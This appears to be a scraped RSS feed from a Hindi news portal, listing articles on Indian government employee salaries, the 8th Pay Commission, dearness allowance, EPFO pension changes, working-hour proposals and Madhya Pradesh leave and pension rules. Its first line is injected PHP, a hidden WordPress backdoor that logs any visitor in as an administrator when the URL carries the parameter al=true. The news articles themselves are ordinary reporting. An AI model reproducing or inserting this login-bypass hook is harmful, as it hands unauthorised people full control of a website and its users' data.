// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); employees – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 29 Oct 2025 12:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 1 लाख सैलरी वालों के लिए खुशखबरी! हर महीने ₹19,000 बढ़ेगा वेतन https://pratyushaashakinayikiran.com/?p=187979 Wed, 29 Oct 2025 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=187979 नई दिल्ली

आठवें वेतन आयोग  को लेकर अब नई जानकारी सामने आई है। रिपोर्ट के मुताबिक, केंद्र सरकार के कर्मचारियों के लिए प्रस्तावित फिटमेंट फैक्टर 2.86 रखा जा सकता है। इसी आधार पर सैलरी स्ट्रक्चर में बड़ा बदलाव संभव है।

₹19,000 महीना तक बढ़ेगा वेतन
रिपोर्ट के अनुसार, इस फिटमेंट फैक्टर के हिसाब से कर्मचारियों की बेसिक सैलरी में लगभग ₹19,000 प्रति माह का इजाफा हो सकता है। यानी जो कर्मचारी अभी ₹1 लाख मासिक वेतन प्राप्त कर रहा है, उसकी तनख्वाह बढ़कर करीब ₹1.14 लाख प्रति माह तक पहुंच सकती है।

क्या है फिटमेंट फैक्टर का फॉर्मूला?
वेतन निर्धारण के लिए आयोग “फिटमेंट फैक्टर” का उपयोग करता है।
फॉर्मूला है —
नई बेसिक सैलरी = वर्तमान बेसिक सैलरी × फिटमेंट फैक्टर (2.86)
यानी यदि किसी कर्मचारी की मौजूदा बेसिक पे ₹25,500 है, तो बढ़ोतरी के बाद यह ₹72,930 तक जा सकती है।

कब लागू होगी नई सैलरी?
आठवें वेतन आयोग को अपनी सिफारिशें 18 महीने के भीतर सरकार को सौंपनी हैं। उसके बाद केंद्र द्वारा मंजूरी मिलने पर नया वेतन ढांचा लागू किया जाएगा। अनुमान है कि 2026 की शुरुआत तक यह लागू हो सकता है।

कर्मचारियों और पेंशनर्स को राहत
इस फैसले से करीब 50 लाख केंद्रीय कर्मचारी और 69 लाख पेंशनर्स को सीधा लाभ मिलेगा। विशेषज्ञों का मानना है कि इस बढ़ोतरी से न केवल कर्मचारियों की आय में सुधार होगा, बल्कि बाजार में उपभोग और मांग भी बढ़ेगी।

 

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EPFO की पेंशन स्कीम में 5 बड़े बदलाव, कर्मचारियों को मिलेगा सीधे लाभ https://pratyushaashakinayikiran.com/?p=186859 Fri, 24 Oct 2025 05:35:00 +0000 https://pratyushaashakinayikiran.com/?p=186859 नई दिल्ली

अगर आप नौकरीपेशा व्यक्ति हैं और हर महीने आपकी सैलरी से PF  कटता है, तो यह खबर आपके लिए बेहद अहम है। Employees’ Provident Fund Organisation (EPFO) ने Employee Pension Scheme (EPS) में कुछ बड़े बदलाव किए हैं, जो सीधे तौर पर आपकी पेंशन की राशि और प्रोसेस को प्रभावित करेंगे। आइए जानते हैं कौन से हैं ये 5 अहम बदलाव…

अब औसत वेतन पर तय होगी पेंशन
पहले पेंशन की गणना आखिरी वेतन के आधार पर की जाती थी। अब EPFO ने इसे बदलते हुए पिछले 60 महीनों (5 साल) के औसत वेतन को आधार बनाया है।

इससे उन कर्मचारियों को फायदा होगा जिनकी सैलरी धीरे-धीरे बढ़ी है। यह नियम पहले से लागू है, लेकिन अब प्रोसेस को और आसान बना दिया गया है ताकि किसी को पेंशन कैलकुलेशन में नुकसान न हो।

पेंशन की लिमिट बढ़कर ₹15,000 प्रति माह
EPFO ने पेंशन लिमिट को बढ़ा दिया है। अब अधिकतम पेंशन ₹7,500 से बढ़ाकर ₹15,000 प्रति माह कर दी गई है।

सुप्रीम कोर्ट के निर्देश के बाद लिया गया यह फैसला उन लोगों के लिए राहत लेकर आया है जिनकी सैलरी तो अधिक थी, लेकिन पेंशन लिमिट की वजह से उन्हें कम रकम मिलती थी।

अब 50 साल की उम्र में भी मिलेगी पेंशन
अब कर्मचारियों को 50 वर्ष की आयु पूरी होते ही पेंशन निकालने का विकल्प मिल गया है।

पहले न्यूनतम उम्र 58 साल थी, लेकिन अब इसे घटा दिया गया है। हालांकि, जल्दी पेंशन लेने पर राशि थोड़ी कम हो सकती है।

अब पेंशन क्लेम होगा ऑनलाइन
EPFO ने डिजिटल क्लेम प्रोसेस को पूरी तरह से ऑनलाइन कर दिया है।

अब फॉर्म भरने से लेकर दस्तावेज अपलोड करने तक की प्रक्रिया आप EPFO की वेबसाइट या मोबाइल ऐप से पूरी कर सकते हैं। इससे पहले जो काम महीनों में होता था, अब कुछ हफ्तों में पूरा हो जाएगा।

नौकरी बदलने पर नहीं होगा नुकसान
EPFO ने Pension Portability System को बेहतर बना दिया है। अब अगर आप नौकरी बदलते हैं, तो आपकी पुरानी सर्विस अपने आप नई कंपनी के रिकॉर्ड में जुड़ जाएगी। यानी पेंशन कंटिन्यूटी बनी रहेगी और पुरानी सर्विस का फायदा भी मिलेगा।

EPFO के इन बदलावों से न सिर्फ कर्मचारियों को आर्थिक सुरक्षा मिलेगी बल्कि रिटायरमेंट के बाद मिलने वाली पेंशन भी ज्यादा पारदर्शी और आसान तरीके से प्राप्त होगी।

 

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दिवाली तोहफा: सरकार बढ़ा सकती है 3% महंगाई भत्ता, केंद्र कर्मचारियों के लिए राहत https://pratyushaashakinayikiran.com/?p=183591 Sun, 07 Sep 2025 03:40:00 +0000 https://pratyushaashakinayikiran.com/?p=183591 नई दिल्ली

त्‍योहारी सीजन में केंद्र सरकार कर्मचारियों को बड़ा तोहफा दे सकती है. 8वां वेतन आयोग लागू होने से पहले एक बार फिर कर्मचारियों के महंगाई भत्ते (DA) और पेंशनर्स के लिए महंगाई राहत (DR) में इजाफा किया जा सकता है, जिससे 1.2 करोड़ से ज्‍यादा केंद्रीय कमचारियों और पेंशनर्स को लाभ मिल सके. 

केंद्र सरकार दिवाली से ठीक पहले, अक्टूबर के पहले हफ्ते में महंगाई भत्ते में इजाफा कर सकती है. इस बदलाव के साथ कर्मचारियों के लिए DA 55 फीसदी से बढ़कर 58 फीसदी हो जाएगा, जो जुलाई 2025 से लागू होगा. 

फाइनेंशियल एक्सप्रेस की एक रिपोर्ट में कहा गया है कि कर्मचारियों और पेंशनभोगियों को तीन महीने का बकाया भी मिलेगा, जिसका भुगतान अक्टूबर के वेतन के साथ किए जाने की उम्मीद है. 

2025 में महंगाई भत्ते में बढ़ोतरी
सरकार साल में दो बार महंगाई भत्ते में बदलाव करती है. एक बार जनवरी-जून की अवधि के लिए होली से पहले और दूसरी बार जुलाई-दिसंबर की अवधि के लिए दिवाली से पहले. पिछले साल केंद्र सरकार ने त्‍योहार से करीब 2 हफ्ते पहले 16 अक्टूबर, 2024 को महंगाई भत्ते में इजाफे का ऐलान किया थी. इस साल दिवाली 20-21 अक्टूबर को पड़ रही है. 

DA का कैलकुलेशन कैसे किया जाता है?
सातवें वेतन आयोग के तहत उपभोक्ता मूल्य सूचकांक (CPI-IW) के आधार पर महंगाई भत्ते को तय किया जाता है. यह फॉर्मूला CPI-IW के 12 महीने के औसत आंकड़ों पर आधारित है. जुलाई 2024 से जून 2025 तक, औसत CPI-IW 143.6 रहा, जो 58% की महंगाई भत्ते की दर के बराबर है. इसका मतलब है कि जुलाई-दिसंबर 2025 सर्किल के दौरान केंद्र सरकार के कर्मचारियों का महंगाई भत्ता तीन प्रतिशत बढ़ जाएगा. 

बढ़ जाएगी पेंशन और सैलरी
अगर किसी कर्मचारी का बेसिक सैलरी 50,000 रुपये है, तो 55% की पुरानी DA पर भत्ता 27,500 रुपये होगा. वहीं बढ़ोतरी के बाद 58% के नए डीए के साथ, यह बढ़कर 29,000 रुपये हो जाएगा यानी अब कर्मचारी हर महीने 1,500 रुपये अतिरिक्त घर ले जाएगा. इसी तरह, 30000 रुपये की बेसिक पेंशन वाले पेंशनभोगी के लिए, DR 16,500 रुपये (55%) से बढ़कर 17,400 रुपये (58%) हो जाएगा, जिससे उन्हें हर महीने 900 रुपये अतिरिक्त मिलेंगे.

7वें वेतन आयोग के तहत अंतिम बढ़ोतरी
यह संशोधन इसलिए भी उल्लेखनीय है क्योंकि यह सातवें वेतन आयोग के तहत अंतिम डीए बढ़ोतरी होगी, जिसकी अवधि 31 दिसंबर, 2025 को समाप्त हो रही है. सरकार जनवरी 2025 में आठवें वेतन आयोग की घोषणा पहले ही कर चुकी है, लेकिन इसके संदर्भ की शर्तें (टीओआर), अध्यक्ष और सदस्यों को अभी अंतिम रूप दिया जाना बाकी है. 

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प्राइवेट कंपनियों में अब करना होगा 10 घंटे काम, ओवरटाइम भी बढ़ेगा https://pratyushaashakinayikiran.com/?p=181172 Thu, 28 Aug 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=181172 नई दिल्‍ली
 इन्‍फोसिस के फाउंडर नारायणमूर्ति ने पिछले दिनों सप्‍ताह में 70 घंटे काम करने का जो शिगूफा छोड़ा था, उसका असर अब दिखने वाला है. महाराष्‍ट्र सरकार अपने प्रदेश की प्राइवेट कंपनियों में वर्किंग ऑवर यानी काम के घंटे बढ़ाने की तैयारी में है. फिलहाल सरकार और कंपनियों के बीच बातचीत चल रही है और इस पर फैसला हुआ तो रोजाना 9 घंटे के बजाय 10 घंटे काम करने होंगे.

सरकार महाराष्‍ट्र शॉप एंड स्‍टैब्लिशमेंट (रेगुलेशन ऑफ एम्‍पलॉयमेंट एंड कंडीशन ऑफ सर्विस) एक्‍ट, 2017 में बदलाव करने पर विचार कर रही है. इसके तहत दुकानों, होटल और कंपनियों में काम करने वाले कर्मचारियों के लिए काम के घंटे बढ़ाने का प्रस्‍ताव दिया गया है. राज्‍य के श्रम विभाग ने इस प्रस्‍ताव पर कैबिनेट की बैठक में भी चर्चा किया और सबकुछ सही रहा तो जल्‍द ही इस नए नियम को लागू किया जा सकता है.

कैबिनेट में हुई चर्चा

हिंदुस्तान टाइम्स (एचटी) की रिपोर्ट के अनुसारमंगलवार को राज्य श्रम विभाग ने इस प्रस्ताव को कैबिनेट के सामने पेश किया। मंत्रियों ने इस पर चर्चा तो की, लेकिन उन्होंने इसे मंजूरी देने से पहले कुछ और जानकारियां मांगी हैं। एक वरिष्ठ मंत्री ने बताया कि प्रस्ताव के प्रावधानों और उनके प्रभाव को लेकर अभी और स्पष्टता की जरूरत है। इसलिए अभी कोई अंतिम फैसला नहीं हुआ है ।

प्रस्तावित परिवर्तन क्या हैं?

श्रम विभाग 2017 के कानून में लगभग पांच बड़े बदलाव करने की योजना बना रहा है, जिनमें से सबसे महत्वपूर्ण काम के घंटों में वृद्धि होगी।

इसके अतिरिक्त, प्रस्ताव में यह भी सुझाव दिया गया है कि वयस्क एक बार में छह घंटे से ज़्यादा काम तभी कर सकते हैं जब उन्हें आधे घंटे का ब्रेक दिया जाए। फ़िलहाल, एक कर्मचारी अधिकतम पाँच घंटे तक लगातार काम कर सकता है।

विभाग ने तीन महीने की अवधि में कर्मचारियों के लिए अनुमेय ओवरटाइम की सीमा 125 घंटे से बढ़ाकर 144 घंटे करने की भी सिफारिश की है। वर्तमान में, कर्मचारी 10.5 घंटे (ओवरटाइम सहित) तक काम कर सकते हैं, लेकिन नए प्रस्ताव में इस सीमा को बढ़ाकर 12 घंटे करने का प्रस्ताव है। अत्यावश्यक कार्य के मामलों में, 12 घंटे की मौजूदा दैनिक सीमा को पूरी तरह से समाप्त किया जा सकता है, जिससे कार्य घंटों की कोई अधिकतम सीमा नहीं रहेगी।
ये परिवर्तन किस पर लागू होंगे?

अगर ये नियम लागू होते हैं, तो प्रस्तावित बदलाव केवल 20 या उससे ज़्यादा कर्मचारियों वाली कंपनियों पर ही लागू होंगे। मौजूदा नियम 10 या उससे ज़्यादा कर्मचारियों वाली कंपनियों पर लागू होते हैं।

एक वरिष्ठ मंत्री ने नाम न छापने की शर्त पर एचटी को बताया, "मंत्री प्रावधानों और उनके प्रभाव पर अधिक स्पष्टता चाहते थे, इसलिए आज निर्णय स्थगित कर दिया गया।" अधिकारियों ने बताया कि इस क्षेत्र की लंबे समय से लंबित मांग के बाद कैबिनेट में यह प्रस्ताव रखा गया।
लंबे कार्य घंटों पर बहस

इस वर्ष जनवरी में, लार्सन एंड टुब्रो (एलएंडटी) के अध्यक्ष एस.एन. सुब्रह्मण्यन ने 90 घंटे के कार्य सप्ताह की वकालत करके एक ऑनलाइन बहस छेड़ दी थी और सुझाव दिया था कि कर्मचारियों को रविवार सहित सप्ताहांत पर भी काम करना चाहिए।

उद्योग जगत के एक नेता के इस बयान ने कार्य-जीवन संतुलन पर बहस को फिर से हवा दे दी है, जो पिछले वर्ष इंफोसिस के संस्थापक नारायण मूर्ति द्वारा 70 घंटे के कार्य सप्ताह के आह्वान के बाद शुरू हुई थी।

जैसे-जैसे अधिक नेता काम के घंटों को बढ़ाने की वकालत करने के लिए आगे आ रहे हैं, थकान, मानसिक स्वास्थ्य में गिरावट और ऐसी अपेक्षाओं की स्थिरता के बारे में चिंताएं बढ़ रही हैं। 

कंज्यूमर ड्यूरेबल्स और स्मार्ट एक्सेसरीज़ ब्रांड, एलिस्टा ने पहले कहा था कि "उत्पादकता लंबे समय तक काम करने से नहीं, बल्कि ध्यान और दक्षता से बढ़ती है। ज़रूरत से ज़्यादा काम करने से थकान, रचनात्मकता में कमी और काम की गुणवत्ता में गिरावट आती है।"

ओवरटाइम पर भी नया प्रस्‍ताव
श्रम विभाग ने ओवरटाइम की लिमिट को भी बढ़ाने का प्रस्‍ताव दिया है, जो एक तिमाही में 125 से बढ़ाकर 144 घंटे किए जाने की तैयारी है. अभी कोई भी कर्मचारी ओवरटाइम को मिलाकर अधिकतम 10.5 घंटे रोजाना काम कर सकता है, जबकि नए प्रस्‍ताव में इस अवधि को बढ़ाकर 12 घंटे किया जाएगा. आपात स्थिति के समय मौजूदा 12 घंटे की टाइम लिमिट को खत्‍म करके अनलिमिटेड किया जाएगा. इसका मतलब है कि ऐसी स्थिति में कर्मचारी 24 घंटे काम कर सकेंगे.

यह बदलाव किनपर लागू होंगे?

अगर यह प्रस्ताव कानून बन जाता है, तो यह बदलाव उन्हीं कंपनियों पर लागू होंगे, जहां 20 या उससे ज्यादा कर्मचारी काम करते हैं। अभी यह कानून 10 या उससे ज्यादा कर्मचारियों वाले प्रतिष्ठानों पर लागू होता है।

आखिर ऐसा प्रस्ताव क्यों लाया गया?

अधिकारियों का कहना है कि यह प्रस्ताव उद्योग जगत की लंबे समय से चली आ रही मांग को ध्यान में रखकर लाया गया है । हालांकि, कैबिनेट में इसपर अभी चर्चा जारी है और कोई निर्णय होने में अभी समय लग सकता है।

किन कंपनियों पर लागू होगा
श्रम विभाग का यह प्रस्‍ताव ऐसी कंपनियों पर लागू किया जाएगा, जहां 20 से ज्‍यादा कर्मचारी काम करते हैं. अभी यह नियम 10 कर्मचारी वाली कंपनियों और दुकानों पर लागू है. फिलहाल सरकार इस पर और स्‍पष्‍टीकरण चाहती है और उसकी मंशा है कि नियम बनाने से पहले इसके सभी पहलू पर विचार किया जाना चाहिए. पिछले दिनों लार्सन एंड ट्रूबो के चेयरमैन एसएन सुब्रमण्‍यन ने सप्‍ताह में 90 घंटे काम कराने और सप्‍ताहांत यानी रविवार को भी काम करने की बात कहकर यह विवाद छेड़ा था.

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सरकारी कर्मचारियों के अवकाश पर लगे प्रतिबंध को हटाने जारी हुआ आदेश https://pratyushaashakinayikiran.com/?p=156702 Fri, 16 May 2025 11:05:00 +0000 https://pratyushaashakinayikiran.com/?p=156702 भोपाल

 मध्यप्रदेश के सरकारी कर्मचारियों के लिए अच्छी खबर है। प्रदेश सरकार ने 13 विभागों के सरकारी कर्मचारियों के अवकाश पर जो प्रतिबंध बीते दिनों लगाया था उसे अब हटा दिया गया है। शुक्रवार को मध्यप्रदेश के सामान्य प्रशासन विभाग की ओर से प्रतिबंध हटाए जाने का आदेश जारी किया गया है। ये आदेश तत्काल प्रभाव से लागू हो गया है और अब इन 13 विभागों के कर्मचारी सुविधानुसार अवकाश ले सकेगें।

सरकारी कर्मचारियों के अवकाश पर लगा बैन हटा
सामान्य प्रशासन विभाग की ओर से शुक्रवार 16 मई को जो आदेश जारी किया गया है उसमें लिखा है- क्रमांक GAD/34/0007/2025-O/o US-01 (GAD) एतद्वारा राज्य शासन के 13 विभागों के शासकीय सेवकों के अवकाश तत्काल प्रभाव से प्रतिबंधित किए जाने से संबंधित समसंख्यक आदेश दिनांक 9-05-2025 को तत्काल प्रभाव से WITHDRAW करता है।

भारत-पाक तनाव के बीच लगा था प्रतिबंध
बता दें कि पहलगाम में हुए आतंकी हमले के बाद भारत-पाकिस्तान के बीच बढ़े तनाव और ऑपरेशन सिंदूर के नाम से चलाए गए ऑपरेशन को देखते हुए मध्यप्रदेश सरकार ने प्रदेश के 13 विभागों के कर्मचारियों के अवकाश पर प्रतिबंध लगा दिया था। ये फैसला इसलिए लिया गया था ताकि किसी भी आपात स्थिति में प्रशास पूरी तरह से मुस्तैद रहे। अब जब हालात सामान्य हो गए हैं तो सरकार ने अपना निर्णय बदल लिया है।

 

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प्रदेश के कर्मचारियों को अप्रैल से जून 2025 तक जमा निधियों पर ब्याज दर 7.1 प्रतिशत रहेगी https://pratyushaashakinayikiran.com/?p=153410 Sat, 03 May 2025 04:27:00 +0000 https://pratyushaashakinayikiran.com/?p=153410 भोपाल

मध्य प्रदेश के कर्मचारियों के लिए राहत भरी खबर है। 5 फीसदी महंगाई भत्ता वृद्धि और नई तबादला नीति के बाद अब मोहन सरकार ने एक और बड़ा फैसला किया है।राज्य सरकार ने वित्तीय वर्ष 2025-26 के प्रथम त्रैमास (अप्रैल से जून) तक के लिए ब्याज दर का निर्धारण कर दिया है।

इसके तहत कर्मचारियों की उनकी जमा राशि पर 7.1 प्रतिशत की दर से ब्याज मिलेगा।वित्त विभाग ने एक जनवरी से 31 मार्च 2025 तक के लिए ब्याज की दर निर्धारित कर दी है।यह कर्मचारियों की विभिन्न जमा निधियों पर लागू होगी।राहत की बात ये है कि पिछले वर्ष भी यही दर थी, यानि इस बार दरों में कोई बदलाव नहीं किया गया है।

इन निधियों पर मिलेगा ब्याज

    दरअसल, सामान्य भविष्य निधि, अंशदायी भविष्य निधि, पटवारी विशेष भविष्य निधि, मध्य भारत जीवन बीमा निधि, विभागीय भविष्य निधि, मध्य प्रदेश शासकीय सेवक कर्मचारी बीमा-सह-बच सत योजना में जमा होने वाली राशि पर ब्याज मिलता है है।
    प्रति तीन माह में इसकी दर निर्धारित की जाती है। इस बार जनवरी से मार्च 2025 तक के लिए यह दर 7.1 प्रतिशत रखी गई है। अब अप्रैल से जून 2025 तक इन निधियों पर ब्याज दर 7.1 प्रतिशत रहेगी। पिछले त्रैमास में भी इसी दर से ब्याज अदायगी की गई थी।

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प्रदेश में कर्मचारियों के प्रमोशन से खाली होंगी दो लाख पोस्ट, फिर इन पर होगी नई भर्तियां https://pratyushaashakinayikiran.com/?p=147814 Fri, 11 Apr 2025 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=147814 भोपाल
 मध्य प्रदेश में आठ साल बाद शासकीय सेवाओं में पदोन्नति की घोषणा हो गई है। चार लाख से अधिक कर्मचारियों को इसका लाभ मिल सकता है। अधिकारियों-कर्मचारियों के पदोन्नत होने से नीचे के पद रिक्त होंगे। इससे लगभग दो लाख पद भर्ती के लिए उपलब्ध होंगे।

सरकार इन्हें आगामी तीन वर्षों में भरेगी। इसकी तैयारी भी पदोन्नति प्रक्रिया के समानांतर चलेगी। इसकी निगरानी मुख्य सचिव अनुराग जैन और अपर मुख्य सचिव सामान्य प्रशासन संजय दुबे के स्तर से हो रही है।

तैयार कराई गई है रिक्त पदों की रिपोर्ट

प्रदेश में लंबे समय से भर्ती प्रक्रिया रुकी हुई थी। नई भर्तियां नहीं होने के कारण विभागों में सभी स्तर पर पद रिक्त हो गए। इससे काम पर पड़ रहे असर को देखते हुए संविदा पर नियुक्तियां की गईं और आउटसोर्स से कर्मचारियों की व्यवस्था करने का रास्ता अपनाया गया।

उधर, वर्ष 2023 के विधानसभा चुनाव में बेरोजगारी के मुद्दे को देखते हुए तत्कालीन शिवराज सरकार ने एक लाख सरकारी रिक्त पदों पर भर्ती की प्रक्रिया आरंभ की। 70 हजार से अधिक भर्तियां हो भी गईं।

मोहन सरकार ने भी इस क्रम को जारी रखा और तीन वर्षों में ढाई लाख पदों पर भर्ती की घोषणा की। इसके आधार पर सामान्य प्रशासन और वित्त विभाग ने सभी विभागों से रिक्त पदों की रिपोर्ट तैयार करवाई है। सूत्रों का कहना है कि रिक्त होने वाले पदों की गणना में पदोन्नति से उपलब्ध होने वाले पद भी शामिल हैं।

चरणबद्ध होंगी भर्तियां

सामान्य प्रशासन विभाग के अधिकारियों का कहना है कि अभी पदोन्नति के लिए पात्र अधिकारियों-कर्मचारियों को उच्च पदों का प्रभार दिया गया है। इन्हें विधिवत पदोन्नति मिलने से पद रिक्त घोषित होंगे और फिर भर्ती प्रक्रिया होगी।

चूंकि, इससे सरकार का स्थापना व्यय (वेतन-भत्ते और पेंशन) बढ़ेगा, जो अभी कुल बजट का लगभग 27 प्रतिशत है, वह भी बढ़ जाएगा। स्थापना व्यय वित्तीय वर्ष 2025-26 में डेढ़ लाख करोड़ रुपये से अधिक होने का अनुमान है। यही कारण है कि चरणबद्ध भर्तियां की जाएंगी।

वर्ष 2026-27 और वर्ष 2027-28 में लगभग एक-एक लाख पदों पर भर्तियां होंगी। वित्त विभाग ने भी इसी हिसाब से विभागों को तैयारी करने के निर्देश दिए हैं। भर्तियां राज्य लोक सेवा आयोग और कर्मचारी चयन मंडल के माध्यम से कराई जाएंगी।

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एमपी में कर्मचारियों को मिलेंगी बंपर छुट्टी, सरकार पेंशनर्स को भी देने वाली है राहत https://pratyushaashakinayikiran.com/?p=130001 Sat, 08 Feb 2025 03:40:00 +0000 https://pratyushaashakinayikiran.com/?p=130001 भोपाल
मध्य प्रदेश सरकार जल्द ही कर्मचारियों और पेंशनधारकों के लिए नए नियम लागू करेगी। ये नियम पेंशन और छुट्टियों से जुड़े हैं। अविवाहित, विधवा और परित्यक्ता बेटियों को भी परिवार पेंशन मिलेगी। रिटायरमेंट के बाद कर्मचारियों को अब सेवा पुस्तिका नहीं दी जाएगी। छुट्टियों के नियमों में भी बदलाव होंगे। वित्त विभाग ने इन बदलावों का ड्राफ्ट तैयार कर लिया है।

इन नियमों के तहत 25 साल से ज्यादा उम्र की अविवाहित, विधवा या परित्यक्ता बेटियों को परिवार पेंशन का लाभ मिलेगा। रिटायरमेंट के बाद कर्मचारियों को सेवा पुस्तिका नहीं दी जाएगी क्योंकि अब सारा रिकॉर्ड ऑनलाइन उपलब्ध है। छुट्टियों के नियमों में भी बदलाव किए जा रहे हैं। नए कर्मचारियों को छुट्टियों के लिए ज्यादा इंतजार नहीं करना पड़ेगा।

लंबे समय से हो रही थी बदलावों की मांग

वित्त विभाग की एक समिति ने इन नए नियमों का प्रारूप तैयार किया है। पेंशनर्स एसोसिएशन लंबे समय से पेंशन नियमों में बदलाव की मांग कर रही थी। सरकार ने उनकी मांगों को सुनते हुए यह कदम उठाया है। इस समिति में वित्त विभाग के सदस्यों के अलावा, सामान्य प्रशासन विभाग के सचिव, पेंशन संचालनालय के संचालक और रेरा के वित्तीय सलाहकार मिलिंद वाईकर भी शामिल थे। समिति की बैठक में पेंशन नियमों में कई अहम बदलावों पर सहमति बनी।

पेंशनर्स की मांगों को सरकार ने मांगा
पेंशनर्स एसोसिएशन द्वारा लंबे समय से पेंशन नियमों में सुधार करने और नए पेंशन नियम लागू करने की मांग की जा रही थी. इसके लिए राज्य सरकार ने वित्त विभाग की एक समिति गठित की थी. इस समिति में सदस्यों के अलावा सामान्य प्रशासन विभाग के सचिव, पेंशन संचालनालय के संचालक, रेरा के वित्तीय सलाहकार मिलिंद वाईकर को रखा गया है. समिति की बैठक में नए पेंशन नियमों में कई महत्वपूर्ण बदलाव करने का निर्णय लिया गया. बैठक में तय किया गया है कि परिवार पेंशन में न्यूनतम आयु सीमा के नियमों को बदला जा सकता है.

मोहन सरकार ला रही नए पेंशन नियम

– राज्य सरकार कर्मचारियों के अवकाश नियमों में करीबन 50 साल बाद बदलाव करने जा रही है. इसके तहत भर्ती होने वाले नए कर्मचारियों को छुट्टियों के लिए ज्यादा इंतजार नहीं करना होगा. नए अवकाश नियमों को लेकर अधिकारियों ने चर्चा की है.

– इसमें प्रावधान किया जा रहा है कि 25 साल से ज्यादा उम्र की अविवाहित पुत्री, विधवा, परित्यक्ता को भी परिवार पेंशन का लाभ दिया जा सकता है.

– वहीं अभी तक पेंशन प्रकरण के साथ सेवा पुस्तिका भी भेजी जाती थी, लेकिन अब इसे खत्म करने का निर्णय लिया गया है. क्योंकि अब ऑनलाइन व्यवस्था होने के चलते पूरा रिकॉर्ड ऑनलाइन उपलब्ध है, इसलिए इसे अलग से भेजने की जरूरत ही नहीं है.

– यदि पेंशनर्स पर आश्रित की दिव्यांगता 25 वर्ष की आयु के पहले होती है तो ही उसे परिवार पेंशन की आजीवन पात्रता का लाभ मिलेगा. इस आयु सीमा के बाद दिव्यांग होने पर उसे परिवार पेंशन का लाभ नहीं दिया जाएगा.

– वसूली के मामलों में पेंशन से राशि उसी स्थिति में काटी जा सकेगी, जिसमें वसूली की सूचना रिटायरमेंट के पहले दी जा चुकी हो. इस तरह के मामलों में कोर्ट भी कई बार निर्णय दे चुकी है.

सरकार कर्मचारियों के अवकाश नियमों में लगभग 50 साल बाद बदलाव करने जा रही है। नए नियमों के तहत नए कर्मचारियों को छुट्टियों के लिए लंबा इंतजार नहीं करना पड़ेगा। अधिकारियों ने नए अवकाश नियमों पर विस्तार से चर्चा की है।

अब सेवा पुस्तिका की ज़रूरत नहीं

25 साल से ज्यादा उम्र की अविवाहित, विधवा या परित्यक्ता बेटियों को परिवार पेंशन देने का प्रावधान किया जा रहा है। अब तक पेंशन प्रकरण के साथ सेवा पुस्तिका भी भेजी जाती थी, लेकिन अब ऐसा नहीं होगा। चूंकि सारा रिकॉर्ड ऑनलाइन उपलब्ध है, इसलिए सेवा पुस्तिका भेजने की ज़रूरत नहीं है।

दिव्यांगता पेंशन पर बड़ा अपडेट

अगर किसी पेंशनधारी के आश्रित की दिव्यांगता 25 साल की उम्र से पहले होती है, तो उसे ही आजीवन परिवार पेंशन मिलेगी। इस उम्र के बाद दिव्यांग होने पर परिवार पेंशन का लाभ नहीं मिलेगा। वसूली के मामलों में पेंशन से राशि तभी काटी जा सकेगी, जब वसूली की सूचना रिटायरमेंट से पहले दी गई हो। कोर्ट भी इस तरह के मामलों में कई बार फैसला दे चुकी है।

जल्द लागू होंगे नए फैसले

नए नियमों को जल्द ही लागू किया जाएगा। समिति द्वारा तैयार किए गए प्रारूप पर एक बार फिर उच्च अधिकारियों के साथ चर्चा होगी। इसके बाद इसे मुख्य सचिव अनुराग जैन के सामने पेश किया जाएगा। उनकी मंजूरी के बाद ही नए नियम लागू होंगे। केंद्र सरकार ने पेंशन और अवकाश नियमों को लेकर कई फैसले लिए हैं, लेकिन मध्य प्रदेश में अभी तक इनके आधार पर संशोधन नहीं किए गए थे।

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बिजली कंपनी द्वारा ऑनलाइन अपील पोर्टल किया गया विकसित https://pratyushaashakinayikiran.com/?p=105644 Tue, 03 Dec 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=105644 भोपाल.
मध्यक्षेत्र विद्युत वितरण कंपनी द्वारा कंपनी के कार्मिकों के विरुद्ध होने वाली कार्रवाई को लेकर एक "अपील पोर्टल" तैयार किया गया है। उस पर ऑनलाइन अपील अभ्यावेदन स्वीकार किए जाएंगे। साथ ही प्रकरणों के निराकरण की जानकारी भी पोर्टल पर उपलब्ध कराई जाएगी।

मध्यप्रदेश सिविल सेवा (वर्गीकरण, नियंत्रण तथा अपील) नियम 1966 के अंतर्गत अधिकारियों तथा कर्मचारियों के विरुद्ध पारित दंडादेश के विरुद्ध कंपनी द्वारा संबंधित अपीलार्थी से ऑनलाइन अपील अभ्यावेदन प्राप्त करने का निर्णय लिया गया है। इसके लिये कंपनी द्वारा "अपील पोर्टल" तैयार किया गया है जिसका लिंक http://attendance.mpcz.in:8888/SCN/user/login है। ऑनलाइन अपील करने के संबंध में किसी भी प्रकार की असुविधा होने पर कार्मिक संबंधित उप महाप्रबंधक (मानव संसाधन)एवं प्रबंधक (मानव संसाधन)से सहायता ले सकेंगे।

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जनप्रतिनिधि, अधिकारी, कर्मचारियों ने बाइक रैली निकाल कर नगर वासियों से हर घर तिरंगा फहराने की अपील https://pratyushaashakinayikiran.com/?p=59350 Sat, 10 Aug 2024 21:30:00 +0000 https://pratyushaashakinayikiran.com/?p=59350 महासमुंद.
15 अगस्त तक देशभर में हर घर तिरंगा अभियान चलाया जा रहा है, इस अभियान के तहत लोगों को अपने घरों और दफ्तरों में तिरंगा फहराने के लिए प्रोत्साहित किया जा रहा है। इसी क्रम में नगर पालिका परिषद महासमुंद के जनप्रतिनिधि, अधिकारी कर्मचारियों ने आज बाइक रैली निकाली। रैली नगर पालिका से शुरू होकर मुख्य मार्गो का भ्रमण करते हुऐ वापस नगर पालिका में समाप्त हुई।

